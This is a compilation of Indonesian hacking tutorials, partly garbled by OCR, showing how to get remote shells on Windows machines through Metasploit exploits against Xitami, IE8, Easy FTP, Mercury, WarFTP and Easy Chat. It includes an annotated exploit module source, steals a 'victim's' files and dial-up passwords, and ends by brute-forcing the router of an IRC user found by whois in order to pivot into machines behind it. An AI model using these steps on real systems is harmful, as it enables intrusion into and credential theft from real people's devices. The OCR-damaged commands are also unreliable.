Setelah itu kita dapat menggunakan Putty untuk masuk ke telnet.




[ ™
% PuTTY Configuration l-i_:_hj
Categary:
S Basic options for your PUTTY session
I Lagging Specify your connection by host name or 1P addrezs
= Terminal Host Mame [or IP address] Port
- Kepboard 192.168.1.33 R000
i Bell BrTeaa
. Features 10063 ’ .
3 ] (] i
| ';—;--‘-.-'»_-’ind::uw “ I Raw @ Telnet | Rlogin S5H
. - Appearance Load, zave or delete a stored sezsion
i Eehaw:u_ur Saved Sessions
i Translation
i Selection - =
| e Default Settings [ Load |
I | = Connection [ |
: | Save |
Prosy ——
i+ Telnet | Delete _I
Rlogin
= S5H
i Auth
;unnels Cloze window on exit:
| ugs 1 Always iMever @ Only on clearn exit
|1|_ Ahout | | Open | | Cancel

Tampilan setelah masuk lewat telnet backdoor.

?f 192,168.1.33 - PuTTY e e e |

Sekarang kita coba misalkan ingin mendownload file dari komputer korban, misal file
fotorahasiajpg.



File: Edit View Help

[l

-3 D o

=8 Metasploit |38 Metasploit 4 b x

Ready 2689

e = = = == = ’ |

Di bawah ini adalah contoh perintah untuk mendownload file fotorahasia.jpg dengan
menggunakan meterpreter.

Kita coba sekarang mencoba mengexploitasi untuk mendapatkan password dial up yang
disimpan oleh komputer korban, kita upload program untuk mengambil password dial up
yang disimpan oleh Windows yaitu dial.exe

Setelah di upload kita gunakan perintah : dial /stext (namafile).



|u:m|rm|_ﬂ_ﬁ|

m Meta_spli_:rit
File. Edit View Help

s-E3 |0 08

=8 Metasploit |ﬂ Metasploit

4

{26x60

Setelah menjadi file, di contoh menggunakan nama file pass.txt, tinggal kita bukaisi file
pass.txt dengan perintah : type pass.txt



==

Ili File: Edit View Help

s-E3 | 15| 08

= Metasploit |ﬂ Metasploit 4 kX

Binggo, kita mendapatkan password dial up.

Oleh : Kurniawan — yk family code@yahoo.com
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Contoh cara mendapatkan shell pada celah keamanan
aplikas web server

Di sini saya akan mencontohkan bagaimana cara mendapatkan shell pada suatu aplikasi
web server yang mempunyai celah keamanan, disini yang menjadi target adalah Xitami
Web Server 2.5b4 dengan celah bugnya adalah Remote Buffer Overflow Exploite. Expoit
yang digunakan ini dibuat oleh mr.prOn.

Welcome To Xitami v2.5b4 Why is Xitan

Xitami is free, fast. an
of the best ideas in Xi
for their miranet and it
and it won't slow-dow

Welcome to Xitami. the fast web server. You should be accessing these pages
through Xitami now. To configure the server. use the web-based admin
function. This is password-protected. On UNIX and OS/2 vou should edit the
passwoniﬂﬂ {xﬁazm_ant or equivalent) after installation Under Windows this is
done at mstallation time.

. . The Technol¢
For more information
o : Nitami is at least as fa
[ ] Eﬂaﬂ}] ]m&ﬁfﬂ
. high- ormance S
® MNitami license apreement nE_'h__PiE_f___ gt

Xitami adalah web server yang terkenal pada kecepatan dan ukuran aplikasi yang kecil,
selain untuk windows web server ini juga ada untuk UNIX platforms, OS/2 and
OpenVMS.

Disini diasumsikan targetnya adalah Windows XP SP3 yang terinstall web server Xitami
|Pnya adalah http://192.168.1.33. secara default saat kita panggil 1Pnyadi browser
dengan protokol http maka akan tampil tampilan seperti diatas.

Kaau ternyata sudah ketahuan pakai Xitami v2.5b4 maka dapat kita coba lakukan
penetrasi untuk mendapatkan shell.


http://192.168.1.33.

-

~ - = .
B Command Prompt - — | | =] |_$F-J

Microsoft Windows [Version 6.1.768H]
Copyright <c? 287 Microsoft Corpowration. M1l rights reserved.

C:sUserssaceriodspyuthon2b
C:sPython2b6cdspython2?
”ﬂ:\PythnnE?}pythnn whhack.py 192.168.1.33 806
I[+1 Connected

[+] Sending pavload...

[+1 Check port 1337 for vyour shell

C:sPython2?>telnet 192.168.1.33 1337

Pertama-tama andainstall Python di komputer anda, jika sudah, maka jalankan
exploitnya wbhack.py, perintahnya: python wbhack.py <IP Target> <Port web server>.
Disini pas kebetulan IP target 192.168.1.33 dengan default portnya 80, sehingga perintah
yang penulis gunakan adalah : python wbhack.py 192.168.1.33 80

Setelah dijalankan maka kita masuk lewat telnet, perintahnyatelnet <IP Target> 1337



B Telnet 192168133

ﬂicrusuft Windows HP [Uerszion 5.1.26801]
(G Copyright 1985-2801 Microsoft Corp.

Cesmitamiripeontig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DMS Suffix

IP Address. . . . . . . . . . 192 _168.1.33
Subnet Mask . - - . . . . . . . 255 _255.255.8
Default Gateway . . . . . = = i92.168.1.1

[Gesditamil

Binggo, kitadapat shell, kita dapat cek dengan ipconfig untuk mengetahui bahwa kita
sudah di komputer target.

Untuk pengamanan andadapat upgrade web server Xitami ke versi yang lebih baru.

Untuk download Exploit Pythonnya http://xcode.or.id/bw.zip

Oleh Kurniawan — yk family code@yahoo.com
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Contoh cara hacking mendapatkan shell di Windows
7 Full Version melalui jaringan

Windows 7 adalah Microsoft Windows yang menggantikan Windows Vista. Windows 7
adalah Windows terbaru saat ini yang dibuat oleh Microsoft.

Disini saya akan memberikan contoh bagaimana cara hacking mendapatkan shell di
windows 7 melalui jaringan dengan memanfaatkan browser Internet Explorer 8 yang
mempunyal celah keamanan pada penanganan Cascading Style Sheets di memory
(http://www.microsoft.com/technet/security/bulletin/ms11-003.mspx).

Oke saya langsung sgja.

Pertama kali download Metasploit Framework 3.71 atau yang lebih baru, setelah
didownload maka anda jalankan metasploitnya, disini penulis menggunakan GUI. Setelah
masuk di tampilan GUI maka klik Exploits -> Windows -> Browser ->

msll 003 ie css_import, payload yang penulis pilih adalah shell lalu bind shell, lalu
port di set 80, URIPATH penulis set /, saat exploitasi penulis tampilkan dalam bentuk
Run in Console.

< metasploit >

=[ metasploit v3.7.1-release [core:3.7 api:1. 0]
+ -- --=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12635 updated 59 days ago (2011.05. 16)

Warni ng: This copy of the Metasploit Framework was | ast updated 59 days ago.
VW recommend that you update the framework at |east every ot her day.

For informati on on updati ng your copy of Metasploit, please see:

http://ww. netaspl oit.com redm ne/ projects/franmework/w ki/Updati ng



http://www.microsoft.com/technet/security/bulletin/ms11
http://www.metasploit.com/redmine/projects/framework/wiki/Updating

nsf > use expl oit/w ndows/browser/nsll 003 ie_css_inport
nmsf exploit(nsll_003 ie _css_inport) > set PAYLOAD w ndows/shel |/ bind_tcp
PAYLOAD => wi ndows/shel | / bind_tcp
nsf exploit(nmsll_003_ie_css_inport) > set SRVPORT 80
SRVPORT => 80
nsf exploit(nmsll_003_ie_css_inport) > set UR PATH /
URI PATH => /
nsf exploit(msll_003_ie_css_inport) > exploit
[*] Exploit running as background job.
Using URL: http://0.0.0.0:80/
Started bind handl er
Local IP: http://192.168.1.10:80/
Server started.

Setelah itu, jalankan teknik DNS Spoofing, anda bisa menggunakan Ettercap, penulis
sudah beberapakali mengisi seminar tentang DNS Spoofing di tahun 2008 dan 2009.
Contohnya penulis mendemokan langsung untuk melakukan hacking windows Vista
dengan memanfaatkan celah keamanan browser 1E 7 dan DNS Spoofing menggunakan
ettercap di suatu mall di Jogja, bahkan apalagi saat ini sudah banyak tutorial tentang cara
menggunakan teknik DNS Spoofing menggunakan ettercap di google, sehingga penulis
tidak perlu menuliskannyadisini.

'EI

Disini, penulis asumsikan kita menggunakan ettercap yang penulis set di etter.dns, contoh
dimasukkan *.com A 192.168.1.10, save lalu jalankan Spoofingnya, karena celah ini
pada keamanan IE, maka korban harus membuka situsnya dengan |1E yang punya celah
keamanan tersebut. Apgpun situs dengan domain .com yang dibuka oleh pengguna
windows 7 dengan | E 8 tersebut maka akan langsung diarahkan ke URL komputer
penulis yaitu http://192.168.1.10. Setelah dijalankan IP itu di 1E maka akan tampill

seperti berikut di Metasploit kita.

[*] 192.168.1.10: 1884 Received request for "/"

[*] 192.168.1.10: 1884 Sendi ng wi ndows/browser/ns11_003_i e_css_inport redirect
[*] 192.168.1.10: 1884 Received request for "/ GB8zWM .htm"

[*] 192.168.1.10: 1884 Sendi ng wi ndows/ browser/ns11_003_i e_css_i nmport HIM

[*] Started bind handl er

[*] 192.168.1.10: 1884 Received request for "/generic-1310601540.dl1"

[*] 192.168.1.10: 1884 Sendi ng wi ndows/browser/ns11_003_i e_css_inport .NET DLL
[-] Exception handling request: An existing connection was forcibly closed by
the renote host.

[*]

192.168.1.10: 1889 Recei ved request for

"/ \ XEE\ x80\ xAO\ XxE1\ x81\ x9A\ XxEE\ x80\ xAO\ XxE1\ x81\ x 9A\ X EE\ x 80\ x A0\ X E1\ x 81\ x 9A\ X EE\
x80\ X A0\ X E1\ x81\ x 9A"

[*] 192.168.1.10: 1889 Sendi ng wi ndows/browser/ns11_003_i e_css_i nport CSS

[*] Sending stage (240 bytes) to 192. 168. 1. 10

[*] Command shell session 2 opened (192.168.1.10:1890 -> 192.168.1.10: 4444) at
2011- 07- 14 06:59: 03 +0700


http://0.0.0.0:80/
http://192.168.1.10:80/
http://

Fite View Exploits Auxiliary Paylpads History PostExploit Console  Databas

w
F

fJnnsTSessicms Hists | Chsnts SEces Julrs: | Bvents | Mofes Lorcts i |

Microaofit Windowa [Version 6.1.7600]
Copyright {c) 2009 Microsoft Corporation. All rights reasrved.

C:WUzershacer,Desktops>

>rrdirc

dir

Volume in drive C has no label.
Volume Serial Number iz B2FD-4BOE

Directory of C:\Uaers\acer\Desktop

04,07,2011 13:28 <DIR> P
04,07/2011 13:28 <DIR> )
137102010 22:29 95 C=D.Ink

Binggo, kita mendapatkan shell. :D

Untuk pengamanan andadapat update |E anda atau upgrade ke | E 9. Penulis tidak
bertanggung jawab segala hal yang diakibatkan tutorial ini.

Oleh Kurniawan — yk family code@yahoo.com
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Contoh cara serangan mendapatkan shell di suatu
FTP Searver

% Easy Fip Server Console

Setvice  Misw  Mariagement ﬂgb

> B8 &

Host Dame: laptop

Hoze IF: 192.468.1.18 182.166.0,102
ETPF FPort: 21

Welh Fort: S080

Max Connection: 32

Current Connection: 4

: run for 0:35

Welcome to use Easy FEp Server, amy issue please mail tomei;| 0

Keamanan suatu aplikasi server yang kita gunakan perlu mendapatkan perhatian, karena
jika kita tidak memperhatikan lebih jauh maka komputer kita dapat kebobolan di hack
oleh orang lain yang tidak bertanggung jawab menjadi lebih besar.

FTP Server merupakan sebuah server yang memanfaatkan File Transfer Protocol (FTP)
untuk keperluan transfer file antar mesin padajaringan TCP/IP, disini celah keamanannya
ada pada aplikasi Easy FTP Server versi 1.7 pada buffer overflow yang dimana kita dapat
memanfaatkannya dengan memasukkan input dalam bentuk exploit sehingga data-data
yang disimpan melebihi kapasitas buffer memorinya. Intinya dengan proses tersebut
maka kita dapat memasukkan berbagai shellcode untuk dijalankan di server, contohnya
bind shell.

Disini kita dapat menggunakan Metasploit Framework 3.71 atau lebih tinggi.

- o (I (D
I Iy DT
[ O OO A B D G O
H_I_I\__)\_)_II

(I R
N D)

~
~

I
I
(

=[ nmetasploit v3.7.1-release [core:3.7 api:1. 0]
+ -- --=[ 688 exploits - 357 auxiliary - 39 post



+ -- --=[ 217 payl oads - 27 encoders - 8 nops
=[ svn r12635 updated 64 days ago (2011.05. 16)

Warni ng: This copy of the Metasploit Framework was | ast updated 64 days ago.
VW recommend that you update the framework at |east every ot her day.

For informati on on updati ng your copy of Metasploit, please see:

http: //ww. netaspl oit.conm' redm ne/ projects/framework/w Ki/Updati ng

nsf exploit(easyftp_cwd _fixret) > use exploit/w ndows/ftp/easyftp_cwd fixret

Kitamenggunakan exploit easyftp_cwd fixret

nsf exploit(easyftp_cwd_fixret) > set PAYLQAD wi ndows/shel |/ bind_tcp

Kitamemilih payload bind_tcp

PAYLOAD => wi ndows/ shel | / bind_tcp
nsf exploit(easyftp_cwd _fixret) > set RHOST 192. 168. 1. 18

Contoh target kitaadalah 192.168.1.18

RHOST => 192. 168. 1. 18
nsf exploit(easyftp_cwd_fixret) > exploit

Setelah itu tinggal kita ketik exploit seperti diatas lalu enter

] Started bind handl er

] Prepending fixRet...

] Addi ng the payl oad. ..

] Overwriting part of the payload with target address...

] Sendi ng exploit buffer...

] Sendi ng stage (240 bytes) to 192.168. 1. 18

] Command shell session 1 opened (192.168.1.10:2598 -> 192.168.1.18: 4444) at
11- 07-19 03:32: 43 +0700

M crosoft Wndows XP [Version 5.1.2600]
(© Copyright 1985-2001 M crosoft Corp.

C\ftp\easyftpsvr-1.7.0.2>
Binggo, anda mendapatkan shell di server FTP Target.

Oleh : Kurniawan — yk family code@yahoo.com
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Contoh cara melakukan hacking suatu mail server
untuk mendapatkan shell

Mercury/32
Filz Edit E.n::nfiguratin:nn Window  Help

* Mercury core module. .
,!...ﬂ.g;ﬁ tailing lists. ..
Status {  Conkent control..,
Idle, he  Template files
o Mail server
Husne e
Filkering rules
Genera  Aliases. ..

Cukgoir
i Mercurys SMTR Server

| [Mercury | MercuryC SMTR Clignt
Copyright  MercuryP POPS Server

Web bl poreurD POPS Client
0B: 38:57 mercury: -:'5; SehiEedloe Curent connechions and status
Ercur Brver
% Curment status: Ready [ | Pauze B
| Mercuryl IMAPS Server " - - — R
Sl | MercuryE HTTP Server . I : .l -
Thizcopwe etk suonart, ercial Lse only. Individuals, Families, non-profit-and charitable erganizations
rnay Lge M| T vial arganizations [including academic institutions and government bodies)
must purch __ fprogram after B0 days evaluation. For more information, please select
Licensing’  wanage local users... I
Choose T Pegasus Mail,.. sistance, T2TAZ

Sebelumnya penulis telah mencontohkan bagaimana cara melakukan hacking pada suatu
web server dan ftp server untuk mendapatkan shell, saat ini saya akan membahas praktek
caramelakukan hacking pada mail server. Fungsi Mail Server digunakan untuk
menerima dan menyimpan e-mail yang masuk, nah disini saya akan mencontohkan
bagaimana cara melakukan hack salah satu mail server yang mempunyai celah keamanan
Buffer Overflow yaitu Mercury Mail Transport System padaversi 4.51 sehingga kita
ahkirnya mendapatkan shell.

Disini IP target adalah 192.168.1.21.

Kita dapat coba scan pakat NMAP untuk mengetahui bahwa target port untuk SMTP
yaitu 25 terbuka.



Cisnmaprnmap —v —A 192.168.1.21
Starting Mmap 5.21 ¢ http:/nmap.org ?» at 2011-B8-28 @Y:07 Pacific Davlight Time

SE: Loaded 36 =scripts for scanning.
Initiating ARP Ping Scan at @87:87
Scanning 192_.168.1.21 [1 port]
iCompleted ARP Ping Scan at A7:87. 180.28= elap=zed (1 total hosts?»
Initiating Parallel DHS resolution of 1 host. at 87:87
Completed Parallel DMS wesolution of 1 host. at 87:87. 8.25=2 elapsed

Initiating S¥YM Stealth Scan at BY7:87
Scanning 192_168.1.21 [1898 portsl
Dizcovered open port BB tcp on 192.168.1.21
Jizcovered open port 132-tcp on 192 _168.1.21
Dizcovered open port 257tcp on 192.168.1 .21
Dizcovered open port 143-tcp on 192_4168.1.21
i open port 11Bstcp on 192.168.1.21
open port 445-tcp on 192.168.1.21
open port 1825-7tcp on 192.168.1.21
open port 1357tcp on 192.168.1.21
open port 186-tcp on 192.168.1.21
Jizcovered open port 7?9-tcp on 192 .168.1.21
Dizcovered open port S5800-tcp on 192.168.1.21
Completed S¥M Stealth Scan at 87:87. 1.31=2 elapzed (1888 total

Dengan mengetahui port 25 terbuka itu tidak cukup, kita perlu mengetahuinyalebih jauh.
Kitatunggu scan NMAP selesal dan hasilnyaadalah :

MSE: Starting runlevel 1 <of 1) scan.

Initiating M5E at BY:0@8

Completed MSE at 87Y:-88. 22.39s elapsed

SE: Script Scanning cnmpleted.

map scan report for 192.168.1.21

ozt iz up (W.0@46= latencyl.

ot shown: 89 cluaed ports

EORT SETALE BERCICE IENS TGN
'25/tcp open smtp _ HMercurys32 smtpd (Mail sewver account Maiserd
teantrfocdnmands s FUED localhoSi-Helle =svamnle. ora: ESMTPs awe:. TIME
79 tcp open finger Mercury-32 fingerd

i finger: Login: Admin Mame: Hail Sustem Administrator
1

_[Mo profile information]

BAAtcp open http Mercurus32 httpd

_html-title: Mevrcury HITP Sewrvices

Bo-tcp open popdpuw MHercuru-32 poppass seruvice

18-tcp open pop3d Mercury-32 pop3dd

I_gupE—capahilities: USER EXPIRECHNEUER?> UIDL APOP TOP OKCK Capability list

OpEN  MSPpC Microzoft YWindows RPC
open nethios—s=n
open  imap Mercurys32 imapd 4.51
| _imap-capabilities: IMAP4revi-2UTH=PLAOTH ¥_-MEDONRY1
: microzoft—ds Microzoft YWindows XP microzoft—ds

Y eah ahkirnya kita mengetahui bahwa target menggunakan mail server Mercury, kita
lihat dibawahnya pada port 143, ditampil service IMAPnyaterlihat ada versi Mercury/32
imapd 4.51.



Kaau sudah mendapatkan informasi yang jelas dari aplikasi mail server target serta
versinya, makakita dapat cari exploitnya dan exploitnyaternyata ada di Metasploit
Framework.

Berikut adalah exploitasinya:

BRI #
BRI #
BRI T #
BHIHEHEEHE R R IR R AR #

BRI R R AR B
BRI R R R
BRI R AR AR B it
BRI R AR AR B it
BRI R R R AR
# HHHHHHHE #

#i# w HHH HH#
wEAE A

HHH HHH

BT HHHBHHH BT HHHH

BHIHPRHHPHRH R R B e
BHIHHEHE RN A
s s s s s N S

BRI T #i#t
BRI #H#
BRI HitHHH
BRI T B
BRI BB
BT HHAHH B

H BRI

Bt B B R
BRI IR R A
# #  HHHE H O#H HE
R e R T e e e
#i# #H#  H#H# #it

=[ metasploit v4.0.1-dev [core: 4.0 api:1.0]

+ -- --=[ 731 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13644 updated yesterday (2011.08. 26)

[-] Warning: This copy of the Metasploit Framework has been corrupted by an
installed anti-virus program

[-] VW recommend that you di sabl e your anti-virus or exclude your
Metasploit installation path,

[-] then restore the renoved files fromquarantine or reinstall the
framework. For nore info:

[-] https://community. rapi d7. com docs/ DOC- 1273

[-]

nsf exploit(mercury_cram md5) > use expl oi t/ wi ndows/snt p/ mercury_cram nmd5
Perintah di atas kitamemilih exploit mercury_cram_md5
nsf exploit(mercury_cram nmd5) > set PAYLQAD wi ndows/shell/bind_tcp

Perintah di atas kita memasukkan payloadnyadan payload yang digunakan adalah
shell/bind_tcp



nsf exploit(mercury_cram md5) > set RHOST 192.168.1.21

Di atas adalah perintah untuk memasukkan IP target.

nsf exploit(mercury_cram md5) > exploit

Setelah selesai, kitaketik exploit seperti diatas lalu enter.

PAYLOAD => wi ndows/ shel | / bind_tcp

RHOST => 192. 168. 1. 21

[*] Started bind handl er

[*] Trying target Mercury Mail Transport System 4.51...

[*] Sending stage (240 bytes) to 192. 168.1.21

[*] Command shell session 1 opened (192.168.1.22:2763 -> 192.168.1.21:4444) at
2011- 08-28 06: 39: 50 - 0700

M crosoft Wndows XP [Version 5.1.2600]
(C Copyright 1985-2001 M crosoft Corp.

C. \ MERCURY>
Binggo kita mendapatkan shell di komputer target melalui celah pada mail server.

Oleh Kurniawan — yk family code@yahoo.com
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Latihan buat yang ingin belgjar exploitasi suatu FTP
Sarver

| WarDaemonManager -

File Edit View BEEgi=8 Options window Help
e N
Properties. ..
iy Seszions IE Edit FTP server message files. .. Select] = Filesl o Log] rﬁ,“,
; Change passward, ..
Cht Lagin s | State | Kbi.. | Infa N
0ooaz 1827 Save user database now idle 0.00 FI::
Advanced server properties... : ::l):;r =
Sia
Ope
Sps
Totli |
: Iv
an
MuM

Di sini penulis memberikan contoh untuk para pembaca blog yang ingin latihan exploitasi
suatu FTP server, disini kita dapat mencoba sebagai contoh adalah serangan ke WarFTP
1.65 yang dimana memiliki celah keamanan username overflow yang pengertian yang
lebih luas lagi adalah Buffer overflow.

Buffer overflow merupakan sebuah proses yang terjadi di dalam sistem memory dimana
terdapat proses yang tidak normal pada saat melakukan penyimpanan data sementara di
dalam memory, yaitu pada saat adanya data-datayang akan disimpan melebihi buffer
pada memory.

Disini penulis tampilkan modul exploit buffer overflow yang ditemukan pada perintah
USER di aplikasi FTP Server dengan namaWar-FTPD versi 1.65.

Disini saya berikan sedikit keterangan.

##
# $1d: warftpd_165 user.rb 9669 2010- 07-03 03:13:45Z jduck $
##

##

# This file is part of the Metasploit Framework and nay be subject to

# redistribution and comrerci al restrictions. Please see the Metasploit
# Framework web site for nore information on licensing and terns of use.
# http:// netasploit.comfranmework/

##

require ' nsf/core’

class Metasploit3 < Msf::Exploit::Renote
Rank = AverageRanki ng


http://metasploit.com/framework/

include Msf::Exploit::Renote::Ftp

def initialize(info = {})

super (updat e_i nfo(i nf o,

' Nane' => 'War- FTPD 1. 65 Usernane Overfl ow ,

' Description' => %g{

This nodul e exploits a buffer overflow found in the USER command
of War-FTPD 1. 65.

" Aut hor' => ' Fairuzan Roslan <riaf [at] nysec.org>',
' Li cense' => BSD LI CENSE,

' Versi on' => ' $Revi sion: 9669 $',

' Ref erences’ =

'CVE', '1999-0256'],
'osvDB , ' 875 1,
"BID, '10078 1,
"URL', 'http://lists.insecure.org/lists/bugtrag/ 1998/ Feb/0014. htm " ],

et — — — —_——

' iDef aul tOptions' =>
"EXITFUNC => 'process'
' iDayI oad' =>

{

' Space’ => 424,
' BadChars' => "\x00\x0a\ x0d\ x40",

BadChars adalah karakter yang dapat menyebabkan efek-efek pada exploit yang
dikirimkan, bahkan dapat membuat fungsi menjadi gagal.

Jadi intinya karakter itu yang ada di BadChars yang tidak boleh muncul.

' St ackAdj ust ment' => -3500,

' Conpat" =>

' Connecti onType' => "-find"
}

1,

"Platform = 'win',

Di atas adalah set untuk exploitnya bahwa platformnyayang akan diexploitasi adalah
Windows

Dibawah ini adalah untuk target 1 (Windows 2000 SPO-SP4 English), (target 2 (Windows
XP SP2 English) dan 3 Windows XP SP3 English.

' Target s’ =

[
# Target O

[

"W ndows 2000 SPO-SP4 English',
{
'Ret' => 0x750231e2 # ws2hel p.dl |
1

I,

# Target 1


http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html

[
"Wndows XP SPO-SP1 Engli sh',

{
'Ret' => 0x71abld54 # push esp, ret

}

Push esp artinya adalah perintah yang digunakan untuk menyimpan nilai ke dalam
register esp. Register esp merupakan alamat yang dimana data stack disimpan di dalam
memory. Ret adalah perintah kepada sistem yang menyimpan nilai pada stack dalam
register eip.

Register eip merupakan register yang menyimpan lokasi memory dari instruksi
berikutnyayang akan di eksekusi oleh sistem.

1,
# Target 2

[
"Wndows XP SP2 English',

{
'Ret' => 0x71ab9372 # push esp, ret

}

1,

# Target 3

[

"Wndows XP SP3 English',

{
'Ret' => 0x71ab2b53 # push esp, ret

}

|

' D sclosureDate' =>'Mar 19 1998'))
end

Dibawah ini sudah proses untuk pengambilalihan atau taking over.

def exploit

connect

print_status("Trying target #{target.nanme}...")
buf = make_nops(600) + payl oad. encoded
buf[485, 4] = [ target.ret ].pack('V')

Dibawah ini adalah pengiriman data username ke dalam FTP Server dan disinilah data
yang tidak normal dikirimkan.

send_cnd( ['USER , buf] , fal se)

handl er
di sconnect
end

end



Untuk tanpa sedikit keterangan seperti diatas maka exploitnya dapat dilihat di
http://www.exploit-db.com/exploits/16724/

Dengan warftpd 165 _user.rb maka kita dapat melakukan exploitasi ke WarFTP Server
tersebut. Contoh exploitasinya dengan payload windows/shell/bind_tcp adalah sebagai
berikut :

R R e e #
BHIHE R R IR R AR #
BRI R AR AR i
BRI R R R
BRI R AR AR it
BRI R AR AR B it
BHIHER R R R R 8
# HHHH#HHE #

#i# w HHH #HH#
wEAE A

HHH HHH

BT HHHBHHH BT HHHH

BHIHPRHHPHRH R R #ae
BHIHPHPHE R A
BRI A

BRI T #i#
BRI #H#
BRI HitHHH
BRI T B R
BRI BB HH
BT HHAHH B

w BB

Bt Bt B R
BRI R R
# #  HHHE H O#H HE
R e e e e e
#i# ##  H#H# #it

=[ metasploit v4.0.1-dev [core: 4.0 api:1.0]

+ -- --=[ 731 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13644 updated yesterday (2011.08. 26)

[-] Warning: This copy of the Metasploit Framework has been corrupted by an
installed anti-virus program

[-] VW recommend that you di sabl e your anti-virus or exclude your
Metasploit installation path,

[-] then restore the renoved files fromquarantine or reinstall the
framework. For nore info:

[-] https:// community. rapi d7. com docs/ DOC- 1273

[-]

nsf > use exploit/w ndows/ftp/warftpd_165_user

Perintah di atas adalah perintah untuk penggunaan exploit warftpd_165 user

nsf > set TARCET 1
TARGET => 1
nsf exploit(warftpd_165 user) > set PAYLQAD wi ndows/shell/bind_tcp

Perintah di atas adalah perintah untuk penggunaan payload windows/shell/bind_tcp


http://www.exploit

nsf exploit(warftpd_165 user) > set RHOST 192.168.1.57

Perintah diatas adalah untuk kita set | P target.

PAYLOAD => wi ndows/ shel | / bind_tcp
RHCST => 192. 168. 1. 57
nsf exploit(warftpd 165 user) > exploit

Setelah kita set exploit yang digunakan, payload dan IP targetnya makatinggal kita ketik
exploit lalu enter.

[*] Started bind handl er
[*] Trying target Wndows XP SPO- SP1 Engli sh. ..
[*] Sending stage (240 bytes) to 192. 168. 1. 57

M crosoft Wndows XP [Version 5.1.2600]
(© Copyright 1985-2001 M crosoft Corp.

D\>
Binggo, kita mendapatkan shell dari target.

Tambahan yang ingin exploitasi dengan tool yang lain tapi target tetap sama.

Untuk yang suka pakai C (MinGW) : http://www.exploit-db.com/exploits/3570/

Untuk yang di Perl : http://www.exploit-db.com/exploits/3482/

Untuk yang Python : http://www.exploit-db.com/exploits/3474/

Sebagai tambahan lagi, untuk yang ingin mencoba latihan sendiri, silahkan download
WarFTP Servernyadengan klik http://xcode.or.id/ward165.exe.

Oleh Kurniawan — yk family code@yahoo.com
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Contoh melakukan hacking pada Server Chat untuk
mendapatkan snell

: Laay Chal Sarwer - Mpresdll dniermal taphkre
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Di sini penulis mencoba melakukan exploitasi pada Easy Chat Server versi 2.2 yang
memiliki masalah pada authentication request handling buffer overflow, karena sudah
dijelaskan apa itu buffer overfow di artikel sebelumnya, maka kita dapat langsung
praktek sgja.

IP Target adalah 192.168.1.25. berikut exploitasinya :

—_—— -0 ——~~ —-



=[ metasploit v4.0.1-dev [core: 4.0 api:1.0]

+ -- --=[ 731 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops

=[ svn r13646 updated yesterday (2011.08. 27)

[-] Warning: This copy of the Metasploit Framework has been corrupted by an
installed anti-virus program

[-] VW recommend that you di sabl e your anti-virus or exclude your
Metasploit installation path,

[-] then restore the renoved files fromquarantine or reinstall the
framework. For nore info:

[-] https:// community. rapi d7. com docs/ DOC- 1273

[-]

nsf > use expl oit/w ndows/ htt p/ef s_easychat server_usernane
nsf > set PAYLQAD wi ndows/shel | /bind_tcp

nsf > set RHOST 192.168.1.25

nsf expl oit(efs_easychat server_usernane) > expl oit
PAYLOAD => wi ndows/ shel | / bind_tcp

RHOST => 192. 168. 1. 25

[*] Started bind handl er

[*] path: C\Program Fil es\Easy Chat Server\user s\
[*] Trying target Easy Chat Server 2.2...

[*] Sending stage (240 bytes) to 192. 168. 1. 25

M crosoft Wndows XP [Version 5.1.2600]
(© Copyright 1985-2001 M crosoft Corp.

C \Program Fi | es\ Easy Chat Server >
Binggo, kita mendapatkan shell.

Oleh Kurniawan — yk family code@yahoo.com
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Hacking password Router Speedy via internet dengan
Hydra hingga mendapatkan shell di server yang
berada dibel akang router

Router modem

Apakah anda suka cari target di IRC untuk dihack router speedy atau di PC dibelakang
router untuk pentest? Apakah anda masih mengandalkan target yang mengandalkan

router speedy dengan keamanan password default yaitu user admin dan password admin ?
Kaau anda masih mengandalkan metode serangan password default, makadisini penulis
akan memberikan metode tambahan untuk anda yaitu metode brute force.

Di sini penulis menggunakan tool Hydra. Hydra adalah tool untuk melakukan hacking
password dengan menggunakan metode brute force, dengan andamemiliki kamus kata
yang banyak yang dimungkinkan passwordnya ada di dalam kamus tersebut.

Di sini penulis contohkan misal kita join ke mIRC, kita contohkan saja nick ce_imutbgit,
nah whois ga itu nick dan kita akan mendgpatkan IPnya.
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Tampilan IP setelah di whois.

ce_imutbgtt is ™~ce @E180.254.70.135 = ce_

ce_imutbgtt on #jogjakarta

ce_imutbgtt using valhall.no.eu.dal.net Ho reason to get excited
ce_imutbgtt has been idle 16secs, signed on Sun Oct 16 16:32:88
ce_imutbgtt End of FWHOIS list.

Setelah kita dapatkan 1Pnya maka jalankan sgja di browser |P address tersebut.
Eile Edik Wisy History Eookrmarks Tools Help

= = = | ] http:/l180.254.70.135]

S| Most Yisited ‘ﬂ} isekking Skarked 5 | LakestHeadlines E adobe

Setelah dijalankan http://180.254.70.135 maka akan tampil form window seperti dibawah
ini



http://180.254.70.135

Authentication Required

6 & username and password are being requested by Bkbp /180,254 . 70,135, The site savs: "TD-8817"

Iser Marme: | | |

Passwiord; | |
I. 2, ] [ Zancel

Jika menggunakan username admin dan password admin hasilnya adalah gagal maka
anda akan dihadapkan pada 2 hal, terus maju atau tinggalkan target.

Jika andaingin terus maju maka anda dapat menggunakan teknik brute force. Contohnya
untuk melakukan exploitasi dengan hydra adalah

H \hydra>hydra -m/ -1 admn -P data.txt 180.254.70. 135 http-get

Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for |egal purposes.
Hydra (http://ww.thc.org) starting at 2011-10-17 14:27: 56

[ DATA] 11 tasks, 1 servers, 11 login tries (1:1/p:11), ~1 tries per task

[ DATA] attacking service http-get on port 80

[ STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[80] [ wwj host: 180.254.70.135 login: admn password: basebal |

Hydra (http://ww.thc.org) finished at 2011-10-17 14:27: 57

H: \ hydr a>

Setelah kita masuk ke router dengan password yang didapat, jikakita ingin melakukan
hacking server di belakang router maka kita dapat melakukan IP Forwarding dari router
ke Server yang berada dibelakang router.
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Di sini kitatidak tahu IP-1P lokal berapa sgja dibelakang router, karena itu kita dapat
mengujinya satu persatu dengan melakukan ping walaupun tidak jaminan.

